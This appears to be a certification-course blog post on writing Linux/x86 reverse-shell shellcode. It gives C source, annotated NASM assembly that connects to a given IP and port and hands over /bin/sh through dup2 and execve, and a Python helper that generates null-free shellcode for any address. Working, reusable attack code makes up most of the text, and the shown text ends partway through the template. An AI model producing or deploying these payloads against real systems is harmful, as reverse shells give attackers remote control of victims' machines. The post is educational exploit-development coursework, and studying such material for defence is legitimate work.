35 Minute Read
Student ID: SLAE-1250

Assignment Two: Creating Shellcode to Create a Reverse Shell Over TCP

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html

All code can be found in: https://github.com/securitychops/security-tube-slae32

All work was tested on a 32bit version of Ubuntu 12.10

If you have not read Assignment One: Creating Shellcode to Bind a Shell Over TCP please take a moment to review that blog post. If you have not read it then this post will not make a lot of sense as this assignment builds heavily upon the previous assignment!


TLDR; - JMP short Final_Shellcode


Alright, if you are still here (or returned execution back again, ha!) then lets press on with the break down on how to complete assignment two!

Code Reuse FTW

This assignment was a lot less work than the first just due to the fact that we got to re-use about 90% of the assembly code that we wrote for assignment one. In fact, this assignment takes even less code than the bind shell and has the distinct advantage of reaching out and connecting directly to someone instead of just sitting around and hoping someone decides to connect …

Let’s take a moment to talk about the change needed to shift from a bind shell to a reverse shell. In the bind shell the basic order of operations was the following set of function calls:

socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
bind(serverFileDescriptor, (struct sockaddr*)&serverAddress, sizeof(serverAddress));
listen(serverFileDescriptor, 0);
accept(serverFileDescriptor, (struct sockaddr*)NULL, NULL);


So, in order to bind we needed to first open a socket, bind to an address/port, listen for the connection and then accept that connection. Now let us compare that with the following set of steps to open up a reverse shell:

socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));


Yes, you are reading that right … the first time we had to make four different function calls to bind the shell where the reverse shell takes exactly two calls!

Even better is that less function calls mean less assembly code and less assembly code means smaller shellcode!

Let’s take a quick look at the final C Proof of concept before moving on to the assembly proof of concept:

C Code Reverse Shell Proof of Concept

// Student ID: SLAE-1250
// Student Name: Jonathan "Chops" Crosby
// Assignment 2: Reverse Shell TCP (Linux/x86) C variant

// Higher level version of reverse shell in
// order to eventually map it to needed assembly

// compile with: gcc reverse-shell-tcp.c -o reverse-shell-tcp

#include <stdio.h>
#include <unistd.h> /*needed for execve */
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h> /* memset */

//used examples from the following URLs to work out the C code
//https://www.thegeekstuff.com/2011/12/c-socket-programming/?utm_source=feedburner
int main(int argc, char *argv[])
{
	//local vars
	int socketid;
	char *ipAddress = "10.0.7.17";
	int portNumber = 8888;

	//struct to hold all the info needed to bind
	struct sockaddr_in serverAddress;

	//clear out the memory in the struct
	memset(&serverAddress, '0', sizeof(serverAddress));

	//http://man7.org/linux/man-pages/man7/ip.7.html
	//AF_INET is the address family and is always set to AF_INET
	serverAddress.sin_family = AF_INET;

	//https://linux.die.net/man/3/htonl
	//http://man7.org/linux/man-pages/man7/ip.7.html
	//http://pubs.opengroup.org/onlinepubs/009695399/functions/inet_addr.html
	serverAddress.sin_addr.s_addr = inet_addr(ipAddress);

	//https://linux.die.net/man/3/htons
	serverAddress.sin_port = htons(portNumber);

	//http://man7.org/linux/man-pages/man2/socket.2.html
	//create a new TCP socket and associate it to our server File Descriptor
			     //socket(int domain, int type   , int protocol);
			     //AF_INET     - http://man7.org/linux/man-pages/man2/socket.2.html
			     //SOCK_STREAM - http://man7.org/linux/man-pages/man2/socket.2.html
			     //IPPROTO_IP  - http://man7.org/linux/man-pages/man7/ip.7.html
	socketid = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

	//http://man7.org/linux/man-pages/man2/connect.2.html
	connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));

	//we now need to duplicate the file descriptors from standard
	//0, 1 and 2 to our newely connected client
	int i; //needed to get around C99 mode
	for(i=0; i<=2; i++)
	{
		dup2(socketid, i);
	}

	//now that all of our file descriptors are duplicated
	//we need to execute /bin/sh, which will touch the standard
	//file descriptors ... that will then be associated to the
	//the connected client

	//execute "/bin/sh"
	//http://man7.org/linux/man-pages/man2/execve.2.html
	execve("/bin/sh", NULL, NULL);
}
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/reverse-shell-tcp.c

Assembly Proof of Concept

Now that we know that we only needed to call two instead of four functions what does that code end up looking like exactly?

; Student ID   : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 2 : Reverse Shell TCP (Linux/x86) Assembly
; File Name    : reverse-shell.nasm

global _start

section .text
_start:

; for all socket based calls we will need to use socketcall
; http://man7.org/linux/man-pages/man2/socketcall.2.html
; 
; the relevant calls we will need to make will be:
; -----
; SYS_SOCKET        socket(2)   0x01
; SYS_BIND          bind(2)     0x02
; SYS_CONNECT       connect(2)  0x03
; SYS_LISTEN        listen(2)   0x04
; SYS_ACCEPT        accept(2)   0x05
; -----
; due to the way the registers need to be loaded up we will need to
; make the call to cocketcall by loading the following info into 
; the following registers
; -----
; eax : 0x66 (this is the value of socketcall)
; ebx : SYS_* value (0x01, etc)
; ecx : pointer to address on stack of parameters to subfunction

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int socket(domain, type , protocol)
; ASM version:  socketcall(SYS_SOCKET, socket(AF_INET,SOCK_STREAM,IPPROTO_IP))
; Returns    :  socketid into eax
; ----- 
; Param Values: 
;   #define AF_INET     2   /* Internet IP Protocol */          
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define SOCK_STREAM 1   /* stream (connection) socket */    
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define IPPROTO_IP  0
;   If the protocol argument is zero, the default protocol for this address family and type shall be used. 
;   http://pubs.opengroup.org/onlinepubs/009695399/functions/socket.html
; -----
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /--------ecx---------\   
; |   0x66  |   |   0x01  |   |  byte, byte, byte  |
; \---------/   \---------/   |  0x02  0x01  0x00  |
;                             \--------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; push params to the stack last first

xor eax, eax     ; zeroing out edx to set IPPROTO_IP to 0
push eax         ; pushing IPPROTO_IP onto stack
push byte 0x01   ; pushing SOCK_STREAM onto stack
push byte 0x02   ; pushing AF_INET onto stack

mov ecx, esp     ; moving address of parameter structure into ecx 

xor eax, eax     ; zeroing out eax
mov al, 0x66     ; moving socketcall value into eax

xor ebx, ebx     ; zeroing out ebx
mov bl, 0x01     ; moving SYS_SOCKET into ebx

int 0x80         ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\
; |  socketid  |  |   0x01  |   |  *address to struct |
; \------------/  \---------/   \---------------------/

; eax now contains our socketid, since eax is volitale 
; lets put it somewhere safe, like esi

xchg eax, esi    ; esi now contains our socketid
                 ; and eax contains whatever was in esi

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |   garbage  |  |   0x01  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  : connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; ASM version: socketcall(SYS_CONNECT, connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; -----
; Param Values:
;   socketid         /* currently stored in esi */
;   
;   &serverAddress   /* memory on the stack for sockaddr */
;       * http://pubs.opengroup.org/onlinepubs/7908799/xns/netinetin.h.html 
;       * Values of this type must be cast to struct sockaddr for use with the socket interfaces
;        
;     this parameter is a struct of sockaddr_in which has the following structure
;
;     struct sockaddr_in {
;         sa_family_t    sin_family; /* address family: AF_INET */
;         in_port_t      sin_port;   /* port in network byte order */
;         struct in_addr sin_addr;   /* internet address */
;                   /* Internet address. */
;                   struct in_addr {
;                       uint32_t   s_addr; /* address in network byte order */
;                };
;
;     sa_family_t
;       #define AF_INET     2   /* Internet IP Protocol */          
;       http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;     
;     in_port_t /* port in network byte order / big endian */
;       https://en.wikipedia.org/wiki/Endianness
;       port 9876 would be: word 0x2694
;
;     sin_addr / * uint32_t ia 4 bytes */
;       ip bound to will be XXX.XXX.XXX.XXX
;       ip would be: dword 0xFFFF or whatever IP will end up being reversed
;
;   sizeof(serverAddress)   /* this value represents bytes, so 4 bytes is 32bits */
;       the value here is 16 bytes or 0x10h which is ultimaly 32bits
; -----
;
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /--------------------------ecx-----------------------------\
; |   0x66  |   |   0x03  |   |  socketid, mem of server address struct, size of struct  |
; \---------/   \---------/   |     esi                ecx                    0x10       |
;                             \-------------------------|--------------------------------/

; we need to create the first stack pointer for sockaddr_in

; PROBLY GOT NULL CHARS IN HERE ...
xor edx, edx
;push dword 0x1107000a ; moving IP (10.0.7.17) [0x0a000711] but backwards is 0x1107000a into edx

push edx

mov byte [esp]  , 0x0a
mov byte [esp+1], 0x00 ;this is null
mov byte [esp+2], 0x07
mov byte [esp+3], 0x11

push word  0x5C11     ; port number (least significant byte first ... 0x115C is 4444)
push word  0x02       ; AF_INET - which is 0x02

mov ecx, esp        ; move stack pointer to ecx

push byte 0x10      ; 16 byts long (or 32bit)

push ecx            ; pushing sockaddr_in into esp

push esi            ; sockid already in esi, so pushing it

mov ecx, esp        ; moving stack pointer to ecx

; from the previous call ebx is already 0x01
; lets increment it by one
inc ebx             ; increasing ebx from 1 to 2
inc ebx		    ; and from 2 to 3

xor eax, eax        ; zeroing out eax
mov al, 0x66        ; moving socketcall value into eax

int 0x80            ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |  uneeded  |  |   0x03  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int dup2(clientid, localDiscripToDuplicate);
; ASM version:  standard syscall using same format as above
; ----- 
; Param Values: 
;   clientid                        /* currently stored in eax */
;
;   localDiscripToDuplicate         /* 0, 1, 2 file descriptors to duplicate */
; -----
; Registers before calling dup2: 
;
; /---eax---\   /---ebx----\   /-------------ecx---------------\
; |   0x3f  |   |  sockid  |   |  file descriptor to dplicate  |
; \---------/   \----------/   |          2, 1 adnd 0          |
;                              \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


mov ebx, esi        ; moving socketid from eax to ebx

                    ; now we need a loop to run through for
                    ; 0, 1 and 2

xor ecx, ecx        ; zeroing out ecx
mov cl, 0x03        ; moving syscall for dup2

dupin:
    xor eax, eax        ; zeroing out eax
    mov al, 0x3f        ; setting syscall value for dup2
    dec cl              ; decreasing loop counter since we
                        ; will need to deal with only 2, 1 and 0
    int 0x80            ; syscall triggering listen
    jnz dupin           ; if the zero flag is not set then do it again

; registers after calling socktcall
; 
; since we don't care about any return values
; we don't bother tracking register values

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int execve(const char *filename, char *const argv[], char *const envp[]);
; ASM version:  standard syscall using same format as above
; ----- 
; Param Values: 
;   filename     /* path of elf32 to execute */
;
;   argv         /* standard argv, first param is full path to elf32 null terminated */
;
;   envp        /* any environmental specific things, null in our case */
; -----
; Registers before calling execve: 
;
; /---eax---\   /----------------ebx--------------------\   /-------------ecx---------------\
; |   0x0B  |   | stack address if //bin/sh,0x00000000  |   |  stack address to 0x00000000  |
; \---------/   \---------------------------------------/   \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; call execve in order to complete the local bind shell
; execve("/bin/sh", argv[], envp[]);
; argv needs to be Address of /bin/sh, 0x00000000
; this is because when you call something from bash, etc
; argv will contain the path of the executable within it

; before starting we look like:
; execve(NOT-SET-YET, NOT-SET-YET, NOT-SET-YET)

; First we need to get 0x00000000 into ebx somehow
; so lets zero out eax and push it to esp

xor eax, eax    ; zeroing out eax to make it 0x00000000
push eax        ; pushing 0x00000000 onto the stack (esp)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; esp now looks like: 0x00000000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; pushing "//bin/sh" (8 bytes and reverses due to little endian)
push 0x68732f6e ; hs/n : 2f68732f into esp
push 0x69622f2f ; ib// : 6e69622f into esp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;esp now looks like: "//bin/sh,0x00000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; since we have been pushing to the stack, we have been pushing to esp
; now we need to get "//bin/sh,0x00000000" into ebx since it is the first parameter for execve
; since esp contains exactly what we need we move it to ebx

mov ebx, esp    ; moving the param to ebx
                ; ebx now contains "//bin/sh,0x00000000"

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; now we need to get 0x00000000 into edx
push eax        ; eax is still 0x00000000 so push it to esp
mov  edx, esp   ; we need to move a 0x00000000 into 
                ; the third parameter in edx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; the second parameter is needs to be "//bin/sh,0x00000000"
; which we can accomplish by moving ebx onto the stack
; and then moving esp into ecx since it will be on the stack

push ebx        ; pushing "//bin/sh,0x00000000" back to the stack
mov  ecx, esp   ; moving the address of ebx (on the stack) to ecx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", *"//bin/sh,0x00000000", 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; loading syscall execve
mov al, 0x0B    ; syscall for execve is 11 dec / 0x0B hex
int 0x80
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/reverse-shell.nasm


If you were paying close attention to the above code you would have noticed a few lines that really jumped out:

; PROBLY GOT NULL CHARS IN HERE ...
xor edx, edx
;push dword 0x1107000a ; moving IP (10.0.7.17) [0x0a000711] but backwards is 0x1107000a into edx

push edx

mov byte [esp]  , 0x0a
mov byte [esp+1], 0x00 ;this is null
mov byte [esp+2], 0x07
mov byte [esp+3], 0x11
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/reverse-shell.nasm#L135


This was a very interesting problem as my internal IP address scheme for my home network contains a 0 … so do we need to re-IP the entire network? I hope not …

No, not at all, we end up having to think outside of the box just a tiny little bit …

Since our IP address ends up taking up a full 32 bits of space we can get a bit sneaky by again leveraging xor

xor edx, edx


After performing this operation our edx register will looks like the following:

0x00000000


So how do we get 10.0.7.17 into that location? First we need to push edx to the stack. After pushing edx we can now directly access the stack memory and selectively move bytes into memory that are not null (0x00).

Before:

mov byte [esp]  , 0x0a
mov byte [esp+1], 0x00 ;this is null
mov byte [esp+2], 0x07
mov byte [esp+3], 0x11
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/reverse-shell.nasm#L144


Which will end up turning into:

mov byte [esp]  , 0x0a
mov byte [esp+2], 0x07
mov byte [esp+3], 0x11


Which will leave us with a register filled with:

0x1107000A


All without ever having to explicitly move a null to the stack!

Before wrapping up this much shorter blog post for assignment two I wanted to take a moment to explain how to use the code from the github repository to actually generate the shellcode and what exactly it was doing.

The first thing that you will need to do will be to download the contents of the repository, which will contain all of the files needed to generate the final shellcode.

Second will be to chmod +x shellcode-generator.py so that you will be abe to execute it, after which you would call it with something like:

./shellcode-generator.py 4444 10.0.7.17

It will then create a temporary folder in /tmp, read in the assembly template file and then inject the properly formatted ip address and port number before assembling and linking it. Once the linking is completed it will feed the assembly binary file into objdump and spit out the final shellcode to the terminal before deleting the temporary folder from /tmp.

The following shows us creating shellcode through the python helper file and then the result of a netcat listener after compiling and executing our shellcode C program.

Generating the Shellcode: Creating Shellcode to Create a Reverse Shell Over TCP

Generating the shellcode

Receiving the reverse shell connection back to us from our shellcode.c application populated with the shellcode from the shellcode-generator.py:

Receiving the reverse shell

Final_Shellcode:

Python Helper for Shellcode Generation

This is the python helper file that will allow us to generate the final shellcode:

./shellcode-generator.py 4444 10.0.7.17

#!/usr/bin/python

# Student ID  : SLAE-1250
# Student Name: Jonathan "Chops" Crosby
# Assignment 2: Reverse Shell TCP (Linux/x86) Python Helper

import tempfile
import shutil
import os
import sys
import stat
import uuid

if len(sys.argv) != 3:
   
    print "[x] usage: ./shellcode-generator.py port ipaddress (ex. 4444 10.0.7.17)"
    sys.exit(0)

tempDir = tempfile.mkdtemp()

print "[*] created temporary directory: " + tempDir

providedPort = str(format(int(sys.argv[1]), '04x'))
finalPort = "0x"
finalPort += str(providedPort[2:])
finalPort += str(providedPort[:2])
finalPort = finalPort.replace("x00", "x")

print "[*] generated final port in hex: " + finalPort

finalPort = "push word " + finalPort

ipAddress = sys.argv[2].split('.')

with open('reverse-shell-template.nasm') as f:
    content = f.readlines()

# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content] 

insertAt = content.index(";ip-address-before-here")

offset = 0
for x in ipAddress:
    if x != '0':
        instruction = "mov byte [esp+" + str(offset) + "], 0x" + str(format(int(x), '02x'))
        content.insert(insertAt, instruction)
        insertAt += 1
    offset += 1

insertAt = content.index(";port-before-here")

content.insert(insertAt, finalPort)

uuidFileName = str(uuid.uuid4())
uuidFullName = tempDir + "/" + uuidFileName + ".nasm"

thefile = open(uuidFullName, 'w')
for x in content:
   thefile.write(x)
   thefile.write("\n")

thefile.close()

print "[*] output nasm file to " + uuidFullName

# create friendly nasm files
nasmFile = uuidFullName
nasmFileNoNasm = nasmFile.replace(".nasm", "")

# do all the template stuff
print "[*] injected dynamic assembly into temporary file"

#copying
shutil.copy("compile.sh", tempDir)
shutil.copy("shellcode-dump.sh",tempDir)


# chmod 755 it in temp dir
os.chmod(tempDir + "/compile.sh", 0775)
os.chmod(tempDir + "/shellcode-dump.sh", 0775)

print "[*] prepped " + tempDir + " with +x auxilary files"

print "[*] assembling and linking"

#./compile.sh
os.system("bash " + tempDir + "/compile.sh " + nasmFileNoNasm)

print "[*] shellcode incoming!"
print "---"

#objdump it
os.system("bash " + tempDir + "/shellcode-dump.sh " + tempDir + " "  + uuidFileName)

print "---"

#delete directory tree
shutil.rmtree(tempDir)
print "[*] deleted temporary directory: " + tempDir

print "[*] done"
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/shellcode-generator.py


Assembly Template Code for Code Generation

The assembly version below is the reverse-shell-template.nasm file that is read in and modified by the shellcode-generator.py file which will output the final shellcode ready to be compiled into the proof of concept C program listed at the bottom of this page.

; Student ID   : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 2 : Reverse Shell TCP (Linux/x86) Assembly
; File Name    : reverse-shell-template.nasm

global _start

section .text
_start:

; for all socket based calls we will need to use socketcall
; http://man7.org/linux/man-pages/man2/socketcall.2.html
; 
; the relevant calls we will need to make will be:
; -----
; SYS_SOCKET        socket(2)   0x01
; SYS_BIND          bind(2)     0x02
; SYS_CONNECT       connect(2)  0x03
; SYS_LISTEN        listen(2)   0x04
; SYS_ACCEPT        accept(2)   0x05
; -----
; due to the way the registers need to be loaded up we will need to
; make the call to cocketcall by loading the following info into 
; the following registers
; -----
; eax : 0x66 (this is the value of socketcall)
; ebx : SYS_* value (0x01, etc)
; ecx : pointer to address on stack of parameters to subfunction

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int socket(domain, type , protocol)
; ASM version:  socketcall(SYS_SOCKET, socket(AF_INET,SOCK_STREAM,IPPROTO_IP))
; Returns    :  socketid into eax
; ----- 
; Param Values: 
;   #define AF_INET     2   /* Internet IP Protocol */          
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define SOCK_STREAM 1   /* stream (connection) socket */    
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define IPPROTO_IP  0
;   If the protocol argument is zero, the default protocol for this address family and type shall be used. 
;   http://pubs.opengroup.org/onlinepubs/009695399/functions/socket.html
; -----
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /--------ecx---------\   
; |   0x66  |   |   0x01  |   |  byte, byte, byte  |
; \---------/   \---------/   |  0x02  0x01  0x00  |
;                             \--------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; push params to the stack last first

xor eax, eax     ; zeroing out edx to set IPPROTO_IP to 0
push eax         ; pushing IPPROTO_IP onto stack
push byte 0x01   ; pushing SOCK_STREAM onto stack
push byte 0x02   ; pushing AF_INET onto stack

mov ecx, esp     ; moving address of parameter structure into ecx 

xor eax, eax     ; zeroing out eax
mov al, 0x66     ; moving socketcall value into eax

xor ebx, ebx     ; zeroing out ebx
mov bl, 0x01     ; moving SYS_SOCKET into ebx

int 0x80         ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\
; |  socketid  |  |   0x01  |   |  *address to struct |
; \------------/  \---------/   \---------------------/

; eax now contains our socketid, since eax is volitale 
; lets put it somewhere safe, like esi

xchg eax, esi    ; esi now contains our socketid
                 ; and eax contains whatever was in esi

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |   garbage  |  |   0x01  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  : connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; ASM version: socketcall(SYS_CONNECT, connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; -----
; Param Values:
;   socketid         /* currently stored in esi */
;   
;   &serverAddress   /* memory on the stack for sockaddr */
;       * http://pubs.opengroup.org/onlinepubs/7908799/xns/netinetin.h.html 
;       * Values of this type must be cast to struct sockaddr for use with the socket interfaces
;        
;     this parameter is a struct of sockaddr_in which has the following structure
;
;     struct sockaddr_in {
;         sa_family_t    sin_family; /* address family: AF_INET */
;         in_port_t      sin_port;   /* port in network byte order */
;         struct in_addr sin_addr;   /* internet address */
;                   /* Internet address. */
;                   struct in_addr {
;                       uint32_t   s_addr; /* address in network byte order */
;                };
;
;     sa_family_t
;       #define AF_INET     2   /* Internet IP Protocol */          
;       http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;     
;     in_port_t /* port in network byte order / big endian */
;       https://en.wikipedia.org/wiki/Endianness
;       port 9876 would be: word 0x2694
;
;     sin_addr / * uint32_t ia 4 bytes */
;       ip bound to will be XXX.XXX.XXX.XXX
;       ip would be: dword 0xFFFF or whatever IP will end up being reversed
;
;   sizeof(serverAddress)   /* this value represents bytes, so 4 bytes is 32bits */
;       the value here is 16 bytes or 0x10h which is ultimaly 32bits
; -----
;
; Registers before calling socketcall: 
;
; /---eax---\   /---ebx---\   /--------------------------ecx-----------------------------\
; |   0x66  |   |   0x03  |   |  socketid, mem of server address struct, size of struct  |
; \---------/   \---------/   |     esi                ecx                    0x10       |
;                             \-------------------------|--------------------------------/

; we need to create the first stack pointer for sockaddr_in

; PROBLY GOT NULL CHARS IN HERE ...
;push dword 0x1107000a ; moving IP (10.0.7.17) [0x0a000711] but backwards is 0x1107000a into edx

xor edx, edx
push edx     ; getting zeros in here

;ip-address-before-here

;port-before-here

push word  0x02     ; AF_INET - which is 0x02

mov ecx, esp        ; move stack pointer to ecx

push byte 0x10      ; 16 byts long (or 32bit)

push ecx            ; pushing sockaddr_in into esp

push esi            ; sockid already in esi, so pushing it

mov ecx, esp        ; moving stack pointer to ecx

; from the previous call ebx is already 0x01
; lets increment it by one
inc ebx             ; increasing ebx from 1 to 2
inc ebx		    ; and from 2 to 3

xor eax, eax        ; zeroing out eax
mov al, 0x66        ; moving socketcall value into eax

int 0x80            ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |  uneeded  |  |   0x03  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int dup2(clientid, localDiscripToDuplicate);
; ASM version:  standard syscall using same format as above
; ----- 
; Param Values: 
;   clientid                        /* currently stored in eax */
;
;   localDiscripToDuplicate         /* 0, 1, 2 file descriptors to duplicate */
; -----
; Registers before calling dup2: 
;
; /---eax---\   /---ebx----\   /-------------ecx---------------\
; |   0x3f  |   |  sockid  |   |  file descriptor to dplicate  |
; \---------/   \----------/   |          2, 1 adnd 0          |
;                              \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


mov ebx, esi        ; moving socketid from eax to ebx

                    ; now we need a loop to run through for
                    ; 0, 1 and 2

xor ecx, ecx        ; zeroing out ecx
mov cl, 0x03        ; moving syscall for dup2

dupin:
    xor eax, eax        ; zeroing out eax
    mov al, 0x3f        ; setting syscall value for dup2
    dec cl              ; decreasing loop counter since we
                        ; will need to deal with only 2, 1 and 0
    int 0x80            ; syscall triggering listen
    jnz dupin           ; if the zero flag is not set then do it again

; registers after calling socktcall
; 
; since we don't care about any return values
; we don't bother tracking register values

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int execve(const char *filename, char *const argv[], char *const envp[]);
; ASM version:  standard syscall using same format as above
; ----- 
; Param Values: 
;   filename     /* path of elf32 to execute */
;
;   argv         /* standard argv, first param is full path to elf32 null terminated */
;
;   envp        /* any environmental specific things, null in our case */
; -----
; Registers before calling execve: 
;
; /---eax---\   /----------------ebx--------------------\   /-------------ecx---------------\
; |   0x0B  |   | stack address if //bin/sh,0x00000000  |   |  stack address to 0x00000000  |
; \---------/   \---------------------------------------/   \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; call execve in order to complete the local bind shell
; execve("/bin/sh", argv[], envp[]);
; argv needs to be Address of /bin/sh, 0x00000000
; this is because when you call something from bash, etc
; argv will contain the path of the executable within it

; before starting we look like:
; execve(NOT-SET-YET, NOT-SET-YET, NOT-SET-YET)

; First we need to get 0x00000000 into ebx somehow
; so lets zero out eax and push it to esp

xor eax, eax    ; zeroing out eax to make it 0x00000000
push eax        ; pushing 0x00000000 onto the stack (esp)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; esp now looks like: 0x00000000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; pushing "//bin/sh" (8 bytes and reverses due to little endian)
push 0x68732f6e ; hs/n : 2f68732f into esp
push 0x69622f2f ; ib// : 6e69622f into esp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;esp now looks like: "//bin/sh,0x00000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; since we have been pushing to the stack, we have been pushing to esp
; now we need to get "//bin/sh,0x00000000" into ebx since it is the first parameter for execve
; since esp contains exactly what we need we move it to ebx

mov ebx, esp    ; moving the param to ebx
                ; ebx now contains "//bin/sh,0x00000000"

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; now we need to get 0x00000000 into edx
push eax        ; eax is still 0x00000000 so push it to esp
mov  edx, esp   ; we need to move a 0x00000000 into 
                ; the third parameter in edx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; the second parameter is needs to be "//bin/sh,0x00000000"
; which we can accomplish by moving ebx onto the stack
; and then moving esp into ecx since it will be on the stack

push ebx        ; pushing "//bin/sh,0x00000000" back to the stack
mov  ecx, esp   ; moving the address of ebx (on the stack) to ecx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
